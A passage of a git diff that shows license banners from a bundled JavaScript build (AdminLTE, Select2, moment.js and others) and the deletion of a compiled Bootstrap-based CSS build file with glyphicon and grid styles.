+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+/*! AdminLTE app.js
+* ================
+* Main JS application file for AdminLTE v2. This file
+* should be included in all pages. It controls some layout
+* options and implements exclusive AdminLTE plugins.
+*
+* @author Colorlib
+* @support <https://github.com/ColorlibHQ/AdminLTE/issues>
+* @version v2.4.18
+* @repository git://github.com/ColorlibHQ/AdminLTE.git
+* @license MIT <http://opensource.org/licenses/MIT>
+*/
+
+/*! Copyright (c) 2011 Piotr Rochala (http://rocha.la)
+ * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
+ * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
+ *
+ * Version: 1.3.8
+ *
+ */
+
+/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */
+
+/**
+ * @license almond 0.3.3 Copyright jQuery Foundation and other contributors.
+ * Released under MIT license, http://github.com/requirejs/almond/LICENSE
+ */
+
+/**
+* @version: 3.1
+* @author: Dan Grossman http://www.dangrossman.info/
+* @copyright: Copyright (c) 2012-2019 Dan Grossman. All rights reserved.
+* @license: Licensed under the MIT license. See http://www.opensource.org/licenses/mit-license.php
+* @website: http://www.daterangepicker.com/
+*/
+
+//! moment.js
+
+//! moment.js locale configuration
diff --git a/public/build/app.fb1d5bab.css b/public/build/app.fb1d5bab.css
deleted file mode 100644
index 1fc038a81a..0000000000
--- a/public/build/app.fb1d5bab.css
+++ /dev/null
@@ -1 +0,0 @@
-@charset "UTF-8";html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-appearance:textfield;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}textarea{overflow:auto}optgroup{font-weight:700}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}@media print{*,:after,:before{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="#"]:after,a[href^="javascript:"]:after{content:""}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #ddd!important}}@font-face{font-family:Glyphicons Halflings;src:url(fonts/glyphicons-halflings-regular.f4769f9b.eot);src:url(fonts/glyphicons-halflings-regular.f4769f9b.eot?#iefix) format("embedded-opentype"),url(fonts/glyphicons-halflings-regular.448c34a5.woff2) format("woff2"),url(fonts/glyphicons-halflings-regular.fa277232.woff) format("woff"),url(fonts/glyphicons-halflings-regular.e18bbf61.ttf) format("truetype"),url(build/images/glyphicons-halflings-regular.89889688.svg#glyphicons_halflingsregular) format("svg")}.glyphicon{position:relative;top:1px;display:inline-block;font-family:Glyphicons Halflings;font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\002a"}.glyphicon-plus:before{content:"\002b"}.glyphicon-eur:before,.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before,.glyphicon-btc:before,.glyphicon-xbt:before{content:"\e227"}.glyphicon-jpy:before,.glyphicon-yen:before{content:"\00a5"}.glyphicon-rub:before,.glyphicon-ruble:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:Helvetica Neue,Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.img-responsive{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{padding:4px;line-height:1.42857;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;display:inline-block;max-width:100%;height:auto}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}[role=button]{cursor:pointer}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-weight:400;line-height:1;color:#777}.h1,.h2,.h3,h1,h2,h3{margin-top:20px;margin-bottom:10px}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small{font-size:65%}.h4,.h5,.h6,h4,h5,h6{margin-top:10px;margin-bottom:10px}.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-size:75%}.h1,h1{font-size:36px}.h2,h2{font-size:30px}.h3,h3{font-size:24px}.h4,h4{font-size:18px}.h5,h5{font-size:14px}.h6,h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}.small,small{font-size:85%}.mark,mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.initialism,.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:focus,a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:focus,a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:focus,a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:focus,a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:focus,a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:focus,a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:focus,a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:focus,a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:focus,a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:focus,a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ol,ul{margin-top:0;margin-bottom:10px}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}.list-inline,.list-unstyled{padding-left:0;list-style:none}.list-inline{margin-left:-5px}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.42857}dt{font-weight:700}dd{margin-left:0}.dl-horizontal dd:after,.dl-horizontal dd:before{display:table;content:" "}.dl-horizontal dd:after{clear:both}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[data-original-title],abbr[title]{cursor:help}.initialism{font-size:90%}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}blockquote .small,blockquote footer,blockquote small{display:block;font-size:80%;line-height:1.42857;color:#777}blockquote .small:before,blockquote footer:before,blockquote small:before{content:"\2014 \00A0"}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse .small:before,.blockquote-reverse footer:before,.blockquote-reverse small:before,blockquote.pull-right .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before{content:""}.blockquote-reverse .small:after,.blockquote-reverse footer:after,.blockquote-reverse small:after,blockquote.pull-right .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after{content:"\00A0 \2014"}address{margin-bottom:20px;font-style:normal;line-height:1.42857}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,Courier New,monospace}code{color:#c7254e;background-color:#f9f2f4;border-radius:4px}code,kbd{padding:2px 4px;font-size:90%}kbd{color:#fff;background-color:#333;border-radius:3px;box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.container:after,.container:before{display:table;content:" "}.container:after{clear:both}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media (min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.container-fluid:after,.container-fluid:before{display:table;content:" "}.container-fluid:after{clear:both}.row{margin-right:-15px;margin-left:-15px}.row:after,.row:before{display:table;content:" "}.row:after{clear:both}.row-no-gutters{margin-right:0;margin-left:0}.row-no-gutters [class*=col-]{padding-right:0;padding-left:0}.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{float:left}.col-xs-1{width:8.33333%}.col-xs-2{width:16.66667%}.col-xs-3{width:25%}.col-xs-4{width:33.33333%}.col-xs-5{width:41.66667%}.col-xs-6{width:50%}.col-xs-7{width:58.33333%}.col-xs-8{width:66.66667%}.col-xs-9{width:75%}.col-xs-10{width:83.33333%}.col-xs-11{width:91.66667%}.col-xs-12{width:100%}.col-xs-pull-0{right:auto}.col-xs-pull-1{right:8.33333%}.col-xs-pull-2{right:16.66667%}.col-xs-pull-3{right:25%}.col-xs-pull-4{right:33.33333%}.col-xs-pull-5{right:41.66667%}.col-xs-pull-6{right:50%}.col-xs-pull-7{right:58.33333%}.col-xs-pull-8{right:66.66667%}.col-xs-pull-9{right:75%}.col-xs-pull-10{right:83.33333%}.col-xs-pull-11{right:91.66667%}.col-xs-pull-12{right:100%}.col-xs-push-0{left:auto}.col-xs-push-1{left:8.33333%}.col-xs-push-2{left:16.66667%}.col-xs-push-3{left:25%}.col-xs-push-4{left:33.33333%}.col-xs-push-5{left:41.66667%}.col-xs-push-6{left:50%}.col-xs-push-7{left:58.33333%}.col-xs-push-8{left:66.66667%}.col-xs-push-9{left:75%}.col-xs-push-10{left:83.33333%}.col-xs-push-11{left:91.66667%}.col-xs-push-12{left:100%}.col-xs-offset-0{margin-left:0}.col-xs-offset-1{margin-left:8.33333%}.col-xs-offset-2{margin-left:16.66667%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-4{margin-left:33.33333%}.col-xs-offset-5{margin-left:41.66667%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-7{margin-left:58.33333%}.col-xs-offset-8{margin-left:66.66667%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-10{margin-left:83.33333%}.col-xs-offset-11{margin-left:91.66667%}.col-xs-offset-12{margin-left:100%}@media (min-width:768px){.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12{float:left}.col-sm-1{width:8.33333%}.col-sm-2{width:16.66667%}.col-sm-3{width:25%}.col-sm-4{width:33.33333%}.col-sm-5{width:41.66667%}.col-sm-6{width:50%}.col-sm-7{width:58.33333%}.col-sm-8{width:66.66667%}.col-sm-9{width:75%}.col-sm-10{width:83.33333%}.col-sm-11{width:91.66667%}.col-sm-12{width:100%}.col-sm-pull-0{right:auto}.col-sm-pull-1{right:8.33333%}.col-sm-pull-2{right:16.66667%}.col-sm-pull-3{right:25%}.col-sm-pull-4{right:33.33333%}.col-sm-pull-5{right:41.66667%}.col-sm-pull-6{right:50%}.col-sm-pull-7{right:58.33333%}.col-sm-pull-8{right:66.66667%}.col-sm-pull-9{right:75%}.col-sm-pull-10{right:83.33333%}.col-sm-pull-11{right:91.66667%}.col-sm-pull-12{right:100%}.col-sm-push-0{left:auto}.col-sm-push-1{left:8.33333%}.col-sm-push-2{left:16.66667%}.col-sm-push-3{left:25%}.col-sm-push-4{left:33.33333%}.col-sm-push-5{left:41.66667%}.col-sm-push-6{left:50%}.col-sm-push-7{left:58.33333%}.col-sm-push-8{left:66.66667%}.col-sm-push-9{left:75%}.col-sm-push-10{left:83.33333%}.col-sm-push-11{left:91.66667%}.col-sm-push-12{left:100%}.col-sm-offset-0{margin-left:0}.col-sm-offset-1{margin-left:8.33333%}.col-sm-offset-2{margin-left:16.66667%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-4{margin-left:33.33333%}.col-sm-offset-5{margin-left:41.66667%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-7{margin-left:58.33333%}.col-sm-offset-8{margin-left:66.66667%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-10{margin-left:83.33333%}.col-sm-offset-11{margin-left:91.66667%}.col-sm-offset-12{margin-left:100%}}@media (min-width:992px){.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12{float:left}.col-md-1{width:8.33333%}.col-md-2{width:16.66667%}.col-md-3{width:25%}.col-md-4{width:33.33333%}.col-md-5{width:41.66667%}.col-md-6{width:50%}.col-md-7{width:58.33333%}.col-md-8{width:66.66667%}.col-md-9{width:75%}.col-md-10{width:83.33333%}.col-md-11{width:91.66667%}.col-md-12{width:100%}.col-md-pull-0{right:auto}.col-md-pull-1{right:8.33333%}.col-md-pull-2{right:16.66667%}.col-md-pull-3{right:25%}.col-md-pull-4{right:33.33333%}.col-md-pull-5{right:41.66667%}.col-md-pull-6{right:50%}.col-md-pull-7{right:58.33333%}.col-md-pull-8{right:66.66667%}.col-md-pull-9{right:75%}.col-md-pull-10{right:83.33333%}.col-md-pull-11{right:91.66667%}.col-md-pull-12{right:100%}.col-md-push-0{left:auto}.col-md-push-1{left:8.33333%}.col-md-push-2{left:16.66667%}.col-md-push-3{left:25%}.col-md-push-4{left:33.33333%}.col-md-push-5{left:41.66667%}.col-md-push-6{left:50%}.col-md-push-7{left:58.33333%}.col-md-push-8{left:66.66667%}.col-md-push-9{left:75%}.col-md-push-10{left:83.33333%}.col-md-push-11{left:91.66667%}.col-md-push-12{left:100%}.col-md-offset-0{margin-left:0}.col-md-offset-1{margin-left:8.33333%}.col-md-offset-2{margin-left:16.66667%}.col-md-offset-3{margin-left:25%}.col-md-offset-4{margin-left:33.33333%}.col-md-offset-5{margin-left:41.66667%}.col-md-offset-6{margin-left:50%}.col-md-offset-7{margin-left:58.33333%}.col-md-offset-8{margin-left:66.66667%}.col-md-offset-9{margin-left:75%}.col-md-offset-10{margin-left:83.33333%}.col-md-offset-11{margin-left:91.66667%}.col-md-offset-12{margin-left:100%}}@media 